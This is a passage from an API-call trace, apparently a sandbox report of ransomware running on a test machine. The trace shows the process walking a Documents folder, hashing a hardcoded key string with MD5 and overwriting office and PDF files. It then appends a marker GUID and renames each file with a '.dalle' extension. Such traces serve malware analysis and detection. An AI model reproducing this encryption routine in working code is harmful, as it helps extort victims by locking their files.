hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.227] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.227] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.227] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.227] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.227] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.228] CloseHandle (hObject=0x618) returned 1 [0120.228] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0120.228] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x870) returned 0x3096780 [0120.228] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0120.228] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GkId5.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gkid5.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GkId5.pdf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gkid5.pdf.dalle")) returned 1 [0120.229] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.229] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.230] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0120.230] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe533b500, ftCreationTime.dwHighDateTime=0x1d4ce00, ftLastAccessTime.dwLowDateTime=0xed72ff20, ftLastAccessTime.dwHighDateTime=0x1d4cd63, ftLastWriteTime.dwLowDateTime=0xed72ff20, ftLastWriteTime.dwHighDateTime=0x1d4cd63, nFileSizeHigh=0x0, nFileSizeLow=0x11f6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HXfImV4Qtfg1Ex.odp", cAlternateFileName="HXFIMV~1.ODP")) returned 1 [0120.230] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.230] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e) returned 0x2f61740 [0120.230] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.230] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HXfImV4Qtfg1Ex.odp") returned=".odp" [0120.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HXfImV4Qtfg1Ex.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hxfimv4qtfg1ex.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.235] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=73583) returned 1 [0120.235] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.237] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11f49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.237] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.238] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.238] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.238] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.238] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x11f6f, lpOverlapped=0x0) returned 1 [0120.239] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.239] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.239] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.239] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.239] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0120.240] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.240] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.240] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.240] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.240] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.240] GetLastError () returned 0x0 [0120.240] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.240] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0120.240] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.240] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11f70) returned 0x3096780 [0120.241] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.241] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.241] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x11f6a, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x11f6a, lpOverlapped=0x0) returned 1 [0120.241] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.241] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11f6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.241] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.241] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.241] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.241] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.241] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.241] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.241] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.241] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.241] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.242] CloseHandle (hObject=0x618) returned 1 [0120.242] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0d20 [0120.243] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0120.243] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0d20 | out: hHeap=0x5e0000) returned 1 [0120.243] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HXfImV4Qtfg1Ex.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hxfimv4qtfg1ex.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HXfImV4Qtfg1Ex.odp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hxfimv4qtfg1ex.odp.dalle")) returned 1 [0120.243] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.243] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.244] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0120.244] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760f0dd0, ftCreationTime.dwHighDateTime=0x1d4ac56, ftLastAccessTime.dwLowDateTime=0x226cb590, ftLastAccessTime.dwHighDateTime=0x1d525ac, ftLastWriteTime.dwLowDateTime=0x226cb590, ftLastWriteTime.dwHighDateTime=0x1d525ac, nFileSizeHigh=0x0, nFileSizeLow=0xd29f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iDsL9dCjo_LaXt.pptx", cAlternateFileName="IDSL9D~1.PPT")) returned 1 [0120.244] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.244] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e) returned 0x2f61740 [0120.244] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.244] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\iDsL9dCjo_LaXt.pptx") returned=".pptx" [0120.244] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\iDsL9dCjo_LaXt.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\idsl9dcjo_laxt.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.244] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=53919) returned 1 [0120.244] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.246] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd279, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.246] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.248] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.248] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.248] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.248] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xd29f, lpOverlapped=0x0) returned 1 [0120.249] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.249] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.249] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.249] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.249] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0120.249] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.249] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.249] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.249] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.250] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.250] GetLastError () returned 0x0 [0120.250] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.250] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0120.250] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.250] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd2a0) returned 0x3096780 [0120.250] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.250] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.250] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xd29a, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xd29a, lpOverlapped=0x0) returned 1 [0120.250] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.250] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd29f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.250] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.250] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.251] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.251] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.251] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.251] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.251] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.251] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.251] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.251] CloseHandle (hObject=0x618) returned 1 [0120.252] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0d20 [0120.252] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0120.252] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0d20 | out: hHeap=0x5e0000) returned 1 [0120.252] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\iDsL9dCjo_LaXt.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\idsl9dcjo_laxt.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\iDsL9dCjo_LaXt.pptx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\idsl9dcjo_laxt.pptx.dalle")) returned 1 [0120.252] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.252] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.253] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0120.253] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f8f4d70, ftCreationTime.dwHighDateTime=0x1d4cbcc, ftLastAccessTime.dwLowDateTime=0x64944890, ftLastAccessTime.dwHighDateTime=0x1d520fa, ftLastWriteTime.dwLowDateTime=0x64944890, ftLastWriteTime.dwHighDateTime=0x1d520fa, nFileSizeHigh=0x0, nFileSizeLow=0x11c1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m3fpL4NiO_tDUBU.xlsx", cAlternateFileName="M3FPL4~1.XLS")) returned 1 [0120.253] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.253] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e) returned 0x2f61740 [0120.254] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.254] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m3fpL4NiO_tDUBU.xlsx") returned=".xlsx" [0120.254] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m3fpL4NiO_tDUBU.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m3fpl4nio_tdubu.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.254] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=72734) returned 1 [0120.254] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.256] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11bf8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.256] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.258] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.258] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.258] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.258] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x11c1e, lpOverlapped=0x0) returned 1 [0120.258] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.258] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.259] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.259] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.259] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0120.259] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.259] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.259] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.259] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.259] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.259] GetLastError () returned 0x0 [0120.260] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.260] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0120.260] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.260] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11c20) returned 0x3096780 [0120.260] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.260] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.260] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x11c19, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x11c19, lpOverlapped=0x0) returned 1 [0120.260] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.260] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11c1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.260] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.260] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.260] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.261] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.261] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.261] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.261] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.261] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.261] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.261] CloseHandle (hObject=0x618) returned 1 [0120.262] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0d20 [0120.262] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0120.262] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0d20 | out: hHeap=0x5e0000) returned 1 [0120.262] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m3fpL4NiO_tDUBU.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m3fpl4nio_tdubu.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\m3fpL4NiO_tDUBU.xlsx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\m3fpl4nio_tdubu.xlsx.dalle")) returned 1 [0120.262] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.262] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.263] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0120.263] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, 